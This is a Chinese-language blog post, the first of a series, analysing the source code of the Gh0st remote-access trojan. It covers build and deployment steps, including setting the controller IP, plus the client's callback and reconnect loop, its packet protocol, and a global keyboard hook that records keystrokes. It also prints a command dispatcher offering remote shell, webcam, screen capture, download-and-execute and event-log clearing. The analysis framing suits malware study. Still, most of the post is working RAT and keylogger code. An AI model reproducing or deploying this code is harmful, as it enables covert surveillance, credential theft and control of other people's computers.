Gh0st 源碼分析(一)

Gh0st 的編譯與使用方法

相信不少人應該或多或少地據說過 gh0st 的大名,正如上面所說,它是一款遠程控制軟件,其原始版本的代碼和做者已經無從考證,筆者手裏這一份也來源於網絡,我修正一些 bug 並做了一些優化,僅供我的學習研究,不可用於商業用途和任何非法用途,不然後果自負shell

代碼下載方式,微信掃描如下二維碼關注【高性能服務器開發】公衆號,關注後回覆【gh0st】便可獲得下載連接:數組

編譯方法

下載好代碼之後,使用 Visual Studio 2013 打開源碼目錄下的 gh0st.sln 文件,打開後,整個解決方案有兩個工程分別是 gh0st_servergh0st_client。以下圖所示:bash

其中,gh0st_server 是遠程控制的控制端,gh0st_client 是遠程控制的被控制端。gh0st_client 經過網絡鏈接 gh0st_server 並將本身所在的機器的一些基本信息(如計算機名、操做系統版本號、CPU 型號、有無攝像頭等)反饋給控制端,鏈接成功之後控制端就能夠經過網絡將相應的控制命令發給被控制端了,被控制端將命令執行結果發給控制端,以此來達到遠程控制目標主機的目的。原理示意以下:服務器

爲了讓 gh0st_client 可以順利連上 gh0st_server,須要根據你實際情形,將 gh0st_client鏈接的ip地址和端口號改爲 gh0st_server 的端口號,修改方法是:打開源碼目錄下的 Gh0st_Server_Svchost/svchost.cpp 153 行有服務器 ip 地址設置代碼:微信

TCHAR	*lpszHost = TEXT("127.0.0.1");
複製代碼

將代碼中的 127.0.0.1 修改爲你的控制端 gh0st_server 所在地址便可,若是你是本機測試,能夠保持不變。筆者測試本軟件控制端是個人機器,被控制端是筆者虛擬機裏面另一臺 Windows 7 系統,筆者將地址修改爲 10.32.26.125,這是我控制端的地址。網絡

修改完 ip 地址以後,就能夠編譯這兩個工程獲得控制端和被控制端可執行程序了。點擊Visual Studio 【BUILD】菜單下【Rebuild Solution】菜單項,便可進行編譯,等編譯完成以後,在目錄 Output\Debug\bin 下會生成 gh0st_server.exegh0st_client.exe 兩個可執行文件即爲咱們上文中介紹的控制端被控制端多線程

使用方法

咱們先在本機上啓動 gh0st_server.exe,而後在虛擬機中啓動被控制端 gh0st_client.exe,很快 gh0st_client 就會連上 gh0st_server。這兩者的啓動順序無所謂誰先誰後,由於 gh0st_client 有自動重連機制,被控制端連上控制端後,控制端(gh0st_server)的效果圖以下所示:併發

固然,控制端能夠同時控制多個被控制端,我這裏在本機也開了一個被控制端,因此界面上會顯示兩個連上來的主機信息。socket

咱們選擇其中一個主機,點擊右鍵菜單中的某一項就能夠進行具體的控制操做了:函數

下面截取一些控制畫面:

文件管理

文件管理功能能夠自由從控制端被控制來回傳送和運行文件。

遠程終端

遠程桌面

固然,遠程桌面功能不只能夠查看遠程電腦當前正在操做的界面,同時還能夠控制它的操做,在遠程桌面窗口標題欄右鍵彈出菜單中選擇【控制屏幕】便可,固然爲了控制的流暢性,你能夠自由選擇被控制端傳過來的圖片質量,最高是 32位真彩色

爲了節省篇幅,其餘功能就不一一截圖了,有興趣的讀者能夠自行探索。

gh0st_client 源碼分析

程序主脈絡

咱們先來看下被控制端的代碼基本邏輯(原始代碼位於 svchost.cpp 中),簡化後的脈絡代碼以下:

int main(int argc, char **argv)
{  
    // lpServiceName,在ServiceMain返回後就沒有了
    TCHAR	strServiceName[200];
    lstrcpy(strServiceName, TEXT("clientService"));
    //一個隨機的名字
    TCHAR	strKillEvent[60];
    HANDLE	hInstallMutex = NULL;
    if (!CKeyboardManager::MyFuncInitialization())
        return -1;

    // 告訴操做系統:若是沒有找到CD/floppy disc,不要彈窗口嚇人
    SetErrorMode(SEM_FAILCRITICALERRORS);
    //TCHAR	*lpszHost = TEXT("127.0.0.1");
    TCHAR	*lpszHost = TEXT("10.32.26.125");
    DWORD	dwPort = 8080;
    TCHAR	*lpszProxyHost = NULL;//這裏就當作是上線密碼了

    HANDLE	hEvent = NULL;

    CClientSocket socketClient;
    socketClient.bSendLogin = true;
    BYTE	bBreakError = NOT_CONNECT; // 斷開鏈接的緣由,初始化爲尚未鏈接
    while (1)
    {
        // 若是不是心跳超時,不用再sleep兩分鐘
        if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
        {
            // 2分鐘斷線重連, 爲了儘快響應killevent
            for (int i = 0; i < 2000; i++)
            {
                hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
                if (hEvent != NULL)
                {
                    socketClient.Disconnect();
                    CloseHandle(hEvent);
                    break;
                }
                // 每次睡眠60毫秒,一共睡眠2000次,共計兩分鐘
                Sleep(60);
            }
        }// end if

        if (!socketClient.Connect(lpszHost, dwPort))
        {
            bBreakError = CONNECT_ERROR;
            continue;
        }
        CKeyboardManager::dwTickCount = GetTickCount();
        // 登陸
        DWORD dwExitCode = SOCKET_ERROR;
        sendLoginInfo_false(&socketClient);
        CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
        socketClient.setManagerCallBack(&manager);

        //////////////////////////////////////////////////////////////////////////
        // 等待控制端發送激活命令,超時爲10秒,從新鏈接,以防鏈接錯誤
        for (int i = 0; (i < 10 && !manager.IsActived()); i++)
        {
            Sleep(1000);
        }
        // 10秒後尚未收到控制端發來的激活命令,說明對方不是控制端,從新鏈接
        if (!manager.IsActived())
            continue;

        DWORD	dwIOCPEvent;
        CKeyboardManager::dwTickCount = GetTickCount();
        do
        {
            hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
            dwIOCPEvent = WaitForSingleObject(socketClient.m_hExitEvent, 100);
            Sleep(500);
        } while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

        if (hEvent != NULL)
        {
            socketClient.Disconnect();
            CloseHandle(hEvent);
            break;
        }
    }// end while-loop

    SetErrorMode(0);
    ReleaseMutex(hInstallMutex);
    CloseHandle(hInstallMutex);

    return 0;
}
複製代碼

這段邏輯能夠梳理成以下的流程圖:

經過上圖,咱們獲得程序三個關鍵性執行絡脈

  • 脈絡一

咱們能夠知道要想讓整個被控制端程序退出就須要收到所謂的殺死事件,判斷收到殺死事件的機制是使用 Windows 的內核對象 Event(注意與 UI 事件循環那個 Event),在前面的多線程章節也介紹過,若是這個 Event 對象是一個命名對象,它是能夠跨進程的共享的,當咱們一個進程嘗試使用 OpenEvent API 結合事件名稱去打開它,若是這個命名對象已經存在,就會返回這個內核對象的句柄,反之若是不存在則返回 NULL,上述代碼中 32 ~ 37 行,70、75 ~ 79行代碼便是利用這個原理來控制程序是否退出。

hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
    socketClient.Disconnect();
    CloseHandle(hEvent);
    break;
}
複製代碼
  • 脈絡二

若是程序收到的是所謂的退出事件socketClient.m_hExitEvent),則會斷開當前鏈接,兩分鐘後從新鏈接。

  • 脈絡三

若是不是脈絡一脈絡二的邏輯,程序的主線程就會一直執行一個小的循環(上述代碼 68 行 ~ 73 行),無限等待下去,這樣作的目的是爲了主線程不退出,這樣支線程(工做線程)才能正常工做。那麼有幾個工做線程呢?分別是作什麼工做?

工做線程

工做線程一

在主線程鏈接服務器時,調用了:

//svchost.cpp 211行
socketClient.Connect(lpszHost, dwPort)
複製代碼

socketClient.Connect() 函數中末尾處,即鏈接成功後,會新建一個工做線程,線程函數叫 WorkThread

//ClientSocket.cpp 167行
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
複製代碼

WorkThread 函數的內容以下:

//ClientSocket.cpp 174行
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
    closesocket(NULL);

    CClientSocket *pThis = (CClientSocket *)lparam;
    char	buff[MAX_RECV_BUFFER];
    fd_set fdSocket;
    FD_ZERO(&fdSocket);
    FD_SET(pThis->m_Socket, &fdSocket);

    closesocket(NULL);

    while (pThis->IsRunning())
    {
        fd_set fdRead = fdSocket;
        int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
        if (nRet == SOCKET_ERROR)
        {
            pThis->Disconnect();
            break;
        }
        if (nRet > 0)
        {
            memset(buff, 0, sizeof(buff));
            int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
            if (nSize <= 0)
            {
                pThis->Disconnect();
                break;
            }
            if (nSize > 0) 
                pThis->OnRead((LPBYTE)buff, nSize);
        }
    }

    return -1;
}
複製代碼

這段代碼先用 select 函數檢測鏈接 socket 上是否有數據可讀,若是有數據則調用 recv 函數去收取數據,每次最多收取 MAX_RECV_BUFFER(8 * 1024) 個字節。因爲這裏 select 函數最後一個參數設置成了 NULL,若是當前沒有可讀數據,則 select 函數會無限阻塞該線程;若是 select 函數調用失敗,則斷開鏈接,在斷開鏈接時,除了重置一些狀態外,還會設置上文說的 socketClient.m_hExitEvent 事件對象,這樣主線程就不會繼續卡在上文說的那個循環中,而是會繼續下一輪的重連服務器動做。

//ClientSocket.cpp 311行
void CClientSocket::Disconnect()
{
    //非重點代碼省略...
    
    SetEvent(m_hExitEvent);
    
    //非重點代碼省略...
}
複製代碼

若是成功收到數據之後,接着該工做線程調用 pThis->OnRead((LPBYTE)buff, nSize); 進行解包處理:

//SocketClient.cpp 227行
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{

    closesocket(NULL);

    try
    {
        if (dwIoSize == 0)
        {
            Disconnect();
            return;
        }
        if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
        {
            // 從新發送	
            Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
            return;
        }
        // Add the message to out message
        // Dont forget there could be a partial, 1, 1 or more + partial mesages
        m_CompressionBuffer.Write(lpBuffer, dwIoSize);


        // Check real Data
        while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
        {
            BYTE bPacketFlag[FLAG_SIZE];
            CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));

            memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));

            int nSize = 0;
            CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));


            if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
            {
                int nUnCompressLength = 0;
                // Read off header
                m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
                m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
                m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
                ////////////////////////////////////////////////////////
                ////////////////////////////////////////////////////////
                // SO you would process your data here
                // 
                // I'm just going to post message so we can see the data int nCompressLength = nSize - HDR_SIZE; PBYTE pData = new BYTE[nCompressLength]; PBYTE pDeCompressionData = new BYTE[nUnCompressLength]; m_CompressionBuffer.Read(pData, nCompressLength); ////////////////////////////////////////////////////////////////////////// unsigned long destLen = nUnCompressLength; int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength); ////////////////////////////////////////////////////////////////////////// if (nRet == Z_OK) { m_DeCompressionBuffer.ClearBuffer(); m_DeCompressionBuffer.Write(pDeCompressionData, destLen); m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen()); } delete[] pData; delete[] pDeCompressionData; } else break; } } catch (...) { m_CompressionBuffer.ClearBuffer(); Send(NULL, 0); } closesocket(NULL); } 複製代碼

這是一段很是經典的解包邏輯處理方式,經過這段代碼咱們也能獲得 gh0st 使用的網絡通訊協議格式。

若是收到的數據大小是 FLAG_SIZE(5)個字節,且內容是 gh0st 這五個字母(這種序列稱爲 Packet Flag):

if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
    // 從新發送	
    Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
    return;
}
複製代碼

m_bPacketFlag 是一個 5 字節的數據,其在 CClientSocket 對象構造函數中設置的:

//ClientSocket.cpp 34行
BYTE bPacketFlag[] = { 'g', 'h', '0', 's', 't' };
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
複製代碼

這個 Packet Flag 的做用是 gh0st 控制端和被控制端協商好的,若是某一次某一端收到僅僅含有 Packet Flag 的數據,該端會重發上一次的數據包。這個咱們能夠經過發數據的函數中的邏輯能夠看出來:

//SocketClient.cpp 340行
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
    closesocket(NULL);

    m_WriteBuffer.ClearBuffer();

    if (nSize > 0)
    {
        // Compress data
        unsigned long	destLen = (double)nSize * 1.001 + 12;
        GetTickCount();
        LPBYTE			pDest = new BYTE[destLen];

        if (pDest == NULL)
            return 0;

        int	nRet = compress(pDest, &destLen, lpData, nSize);

        if (nRet != Z_OK)
        {
            delete[] pDest;
            return -1;
        }

        //////////////////////////////////////////////////////////////////////////
        LONG nBufLen = destLen + HDR_SIZE;
        // 5 bytes packet flag
        m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
        // 4 byte header [Size of Entire Packet]
        m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
        // 4 byte header [Size of UnCompress Entire Packet]
        m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
        // Write Data
        m_WriteBuffer.Write(pDest, destLen);
        delete[] pDest;

        //原始未壓縮的數據先備份一份
        // 發送完後,再備份數據, 由於有多是m_ResendWriteBuffer自己在發送,因此不直接寫入
        LPBYTE lpResendWriteBuffer = new BYTE[nSize];

        GetForegroundWindow();

        CopyMemory(lpResendWriteBuffer, lpData, nSize);

        GetForegroundWindow();

        m_ResendWriteBuffer.ClearBuffer();
        m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize);	// 備份發送的數據
        if (lpResendWriteBuffer)
            delete[] lpResendWriteBuffer;
    }
    else // 要求重發, 只發送FLAG
    {
        m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
        m_ResendWriteBuffer.ClearBuffer();
        m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));	// 備份發送的數據	
    }

    // 分塊發送
    return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
複製代碼

這個函數的第二個參數 nSize 若是不大於 0, 則調用該函數時的做用就是發一下該 Packet Flag,對端收到該 Flag 數據後就會重發上一次的包,爲了方便重複本端上一的數據包,每次正常發數據的時候,會將本次發送的數據備份到 m_ResendWriteBuffer 成員變量中去,下一次取出該數據便可重發。

若是收到的不是重發標誌,則將數據放到接收緩衝區 m_CompressionBuffer 中,這也是一個成員變量,並且其數據是壓縮後的,接下來就是解包的過程。

//ClientSocket.cpp 247行
m_CompressionBuffer.Write(lpBuffer, dwIoSize);


        // Check real Data
        while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
        {
            BYTE bPacketFlag[FLAG_SIZE];
            CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));

            memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));

            int nSize = 0;
            CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));


            if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
            {
                int nUnCompressLength = 0;
                // Read off header
                m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
                m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
                m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
                ////////////////////////////////////////////////////////
                ////////////////////////////////////////////////////////
                // SO you would process your data here
                // 
                // I'm just going to post message so we can see the data int nCompressLength = nSize - HDR_SIZE; PBYTE pData = new BYTE[nCompressLength]; PBYTE pDeCompressionData = new BYTE[nUnCompressLength]; m_CompressionBuffer.Read(pData, nCompressLength); ////////////////////////////////////////////////////////////////////////// unsigned long destLen = nUnCompressLength; int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength); ////////////////////////////////////////////////////////////////////////// if (nRet == Z_OK) { m_DeCompressionBuffer.ClearBuffer(); m_DeCompressionBuffer.Write(pDeCompressionData, destLen); m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen()); } delete[] pData; delete[] pDeCompressionData; } else break; } 複製代碼

這個過程以下:

gh0st 的通訊協議

根據上面的流程,咱們能夠獲得 gh0st 網絡通訊協議包的格式,咱們用一個結構體來表示一下:

//讓該結構體以一個字節對齊
#pragma pack(push, 1)
struct Gh0stPacket
{
    //5字節package flag: 內容是gh0st
    char flag[5];
    //4字節的包大小
    int32_t packetSize;
    //4字節包體壓縮前大小
    int32_t bodyUncompressedSize;
    //數據內容,長度爲packetSize-13
    char data[0];
}
#pragma pack(pop)
複製代碼

當發送數據裝包的過程和這個解包的過程恰好相反,位於上面說的 CClientSocket::Send 函數裏面,這裏就再也不重複介紹了。

工做線程二

咱們剛纔介紹了,當解析完一個完整的數據包後,把它放入CClientSocket 的成員變量 m_DeCompressionBuffer 中,而後交給 m_pManager->OnReceive() 函數處理,m_pManager 是一個基類 CManager 對象指針,其 OnReceive 函數咱們要看其指向的子類方法的具體實現。這個對象在哪裏設置的呢?

在咱們上面介紹的程序主脈絡中咱們說主線程中有一個步驟是等待控制端發送激活命令,這個步驟有這樣一段代碼:

//svchost.cpp 220行
CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, 
						lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
複製代碼

在這裏咱們能夠得出 CClientSocket.m_pManager 指向的實際對象是 CKernelManager,同時在 CKernelManager 的構造函數中又新建了一個工做線程,線程函數叫 Loop_HookKeyboard

//KernelManager.cpp 111行
m_nThreadCount = 0;
// 建立一個監視鍵盤記錄的線程
// 鍵盤HOOK跟UNHOOK必須在同一個線程中
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
複製代碼

這個線程句柄被保存在 CKernelManager 的 m_hThread 數組中。線程函數 Loop_HookKeyboard 內容以下:

//Loop.h 76行
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
    TCHAR szModule[MAX_PATH - 1];
    TCHAR	strKeyboardOfflineRecord[MAX_PATH];
    CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
    CKeyboardManager::MyGetSystemDirectory(strKeyboardOfflineRecord, ARRAYSIZE(strKeyboardOfflineRecord));
    lstrcat(strKeyboardOfflineRecord, TEXT("\\desktop.inf"));

    if (GetFileAttributes(strKeyboardOfflineRecord) != INVALID_FILE_ATTRIBUTES /*- 1*/)
    {
        int j = 1;
        g_bSignalHook = j;
    }
    else
    {
        //		CloseHandle(CreateFile( strKeyboardOfflineRecord, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL));
        //		g_bSignalHook = true;
        int i = 0;
        g_bSignalHook = i;
    }
    //		g_bSignalHook = false;

    while (1)
    {
        while (g_bSignalHook == 0)
        {
            Sleep(100);
        }
        CKeyboardManager::StartHook();
        while (g_bSignalHook == 1)
        {
            CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
            Sleep(100);
        }
        CKeyboardManager::StopHook();
    }

    return 0;
}
複製代碼

其核心的代碼是安裝一個類型爲 WH_GETMESSAGE 的Windows Hook (鉤子) 的 CKeyboardManager::StartHook()

//KeyboardManager.cpp 313行
bool CKeyboardManager::StartHook()
{
    //...無關代碼省略...
    m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
    //...無關代碼省略

    return true;
}
複製代碼

WH_GETMESSAGE 類型的鉤子會截獲鉤子所在系統上的全部使用 GetMessagePeekMessage API 從消息隊列中取消息的程序的消息。拿到消息後,對消息的處理放在 GetMsgProc 函數中:

//KeyboardManager.cpp 167行
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szModule[MAX_PATH];

    MSG*	pMsg;
    TCHAR	strChar[2];
    TCHAR	KeyName[20];
    CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
    LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
    CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);

    pMsg = (MSG*)(lParam);
    // 防止消息重複產生記錄重複,以pMsg->time判斷
    if (
        (nCode != HC_ACTION) ||
        ((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
        (m_dwLastMsgTime == pMsg->time)
        )
    {
        return result;
    }

    m_dwLastMsgTime = pMsg->time;

    if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
    {
        HWND	hWnd = pMsg->hwnd;
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        HIMC	hImc = ImmGetContext(hWnd);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        LONG	strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        // 考慮到UNICODE
        strLen += sizeof(WCHAR);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        ImmReleaseContext(hWnd, hImc);
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        SaveInfo(m_pTShared->str);
    }

    if (pMsg->message == WM_CHAR)
    {
        if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
        {
            strChar[0] = pMsg->wParam;
            strChar[1] = TEXT('\0');
            SaveInfo(strChar);
        }
        else if (pMsg->wParam == VK_RETURN)
        {
            SaveInfo(TEXT("\r\n"));
        }
        // 控制字符
        else
        {
            CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
            memset(KeyName, 0, sizeof(KeyName));
            CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
            if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName)-2) > 0)
            {
                KeyName[0] = TEXT('[');
                CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
                lstrcat(KeyName, TEXT("]"));
                SaveInfo(KeyName);
            }
        }
    }
    return result;
}
複製代碼

該函數所作的工做就是記錄被監控的電腦上的鍵盤輸入,而後調用 SaveInfo 函數或存盤或發給控制端。

讓咱們繼續來看 CKernelManager::OnReceive() 函數如何對解析後的數據包進行處理的:

//KernelManager.cpp 136行
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    //服務端能夠激活開始工做
    case COMMAND_ACTIVED:
    {
        //代碼省略...
        break;
    case COMMAND_LIST_DRIVE: // 文件管理
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false);
        break;
    case COMMAND_SCREEN_SPY: // 屏幕查看
        //代碼省略...
        break;
    case COMMAND_WEBCAM: // 攝像頭
        //代碼省略...
        break;
        //	case COMMAND_AUDIO: // 語音
        //代碼省略...
        //		break;
    case COMMAND_SHELL: // 遠程shell
        //代碼省略...
        break;
    case COMMAND_KEYBOARD:
        //代碼省略...
        break;
    case COMMAND_SYSTEM:
        //代碼省略...
        break;
    case COMMAND_DOWN_EXEC: // 下載者
        //代碼省略...
        SleepEx(101, 0); // 傳遞參數用
        break;
    case COMMAND_OPEN_URL_SHOW: // 顯示打開網頁
        //代碼省略...
        break;
    case COMMAND_OPEN_URL_HIDE: // 隱藏打開網頁
        //代碼省略...
        break;
    case COMMAND_REMOVE: // 卸載,
        //代碼省略...
        break;
    case COMMAND_CLEAN_EVENT: // 清除日誌
    	//代碼省略...
        break;
    case COMMAND_SESSION:
        //代碼省略...
        break;
    case COMMAND_RENAME_REMARK: // 改備註
        //代碼省略...
        break;
    case COMMAND_UPDATE_SERVER: // 更新服務端
        //代碼省略...
        break;
    case COMMAND_REPLAY_HEARTBEAT: // 回覆心跳包
        //代碼省略...
        break;
    }
}
複製代碼

經過上面的代碼,咱們知道解析後的數據包第一個字節就是控制端發給被控制端的命令號,剩下的數據,根據控制類型的不一樣而具體去解析。控制端每發起一個控制,都會新建一個線程來處理,這些線程句柄都記錄在上文說的 CKernelManager::m_hThread 數組中。咱們以文件管理這條命令爲例,建立的文件管理線程函數以下:

//Loop.h 18行
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
    CClientSocket	socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;
    CFileManager	manager(&socketClient);
    socketClient.run_event_loop();

    return 0;
}
複製代碼

在這個線程函數中又從新建立了一個 CClientSocket 對象,而後利用這個對象從新鏈接一下服務器,ip 地址和端口號與前面的一致。因爲 socketClientmanager 都是一個棧變量,爲了不其出了函數做用域失效, socketClient.run_event_loop() 會經過退出事件阻塞這個函數的退出:

//ClientSocket.cpp 212行
void CClientSocket::run_event_loop()
{
    //...無關代碼省略...

    WaitForSingleObject(m_hExitEvent, INFINITE);
}
複製代碼

CFileManager 對象的構造函數中,將驅動器列表發給控制端:

//FileManager.cpp 17行
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
	m_nTransferMode = TRANSFER_MODE_NORMAL;
	// 發送驅動器列表, 開始進行文件管理,創建新線程
	SendDriveList();
}
複製代碼

如今已經有兩個 socket 與服務器端相關聯了,服務器端關於文件管理類的指令是發給後一個 socket 的。當收到與文件操做相關的命令,CFileManager::OnReceive 函數將處理這些這些命令,併發送處理結果:

//FileManager.cpp 29行
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	
	closesocket(NULL);
	
	switch (lpBuffer[0])
	{
	case COMMAND_LIST_FILES:// 獲取文件列表
		SendFilesList((char *)lpBuffer + 1);
		break;
	case COMMAND_DELETE_FILE:// 刪除文件
		DeleteFileA((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DELETE_DIRECTORY:// 刪除文件
		////printf("刪除目錄 %s\n", (char *)(bPacket + 1));
		DeleteDirectory((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DOWN_FILES: // 上傳文件
		UploadToRemote(lpBuffer + 1);
		break;
	case COMMAND_CONTINUE: // 上傳文件
		SendFileData(lpBuffer + 1);
		break;
	case COMMAND_CREATE_FOLDER:
		CreateFolder(lpBuffer + 1);
		break;
	case COMMAND_RENAME_FILE:
		Rename(lpBuffer + 1);
		break;
	case COMMAND_STOP:
		StopTransfer();
		break;
	case COMMAND_SET_TRANSFER_MODE:
		SetTransferMode(lpBuffer + 1);
		break;
	case COMMAND_FILE_SIZE:
		CreateLocalRecvFile(lpBuffer + 1);
		break;
	case COMMAND_FILE_DATA:
		WriteLocalRecvFile(lpBuffer + 1, nSize -1);
		break;
	case COMMAND_OPEN_FILE_SHOW:
		OpenFile((TCHAR *)lpBuffer + 1, SW_SHOW);
		break;
	case COMMAND_OPEN_FILE_HIDE:
        OpenFile((TCHAR *)lpBuffer + 1, SW_HIDE);
		break;
	default:
		break;
	}
}
複製代碼

關於文件具體指令的執行這裏就不分析了,其原理就是調用相關 Windows 文件 API 來操做磁盤或文件(夾)。

下圖是咱們在控制端同時開啓三個文件管理窗口和一個遠程桌面窗口的效果截圖:

文章未完,有興趣的讀者能夠繼續關注下一篇《Gh0st源碼分析(二)》,下一篇咱們將分析 gh0st控制端的源碼。

本文首發於【高性能服務器開發公衆號】。

歡迎關注公衆號『easyserverdev』。若是有任何技術或者職業方面的問題須要我提供幫助,可經過這個公衆號與我取得聯繫,同時,您也能夠加入個人QQ羣 578019391。此公衆號不只分享高性能服務器開發經驗和故事,同時也免費爲廣大技術朋友提供技術答疑和職業解惑,您有任何問題均可以在微信公衆號直接留言,我會盡快回復您。

相關文章
相關標籤/搜索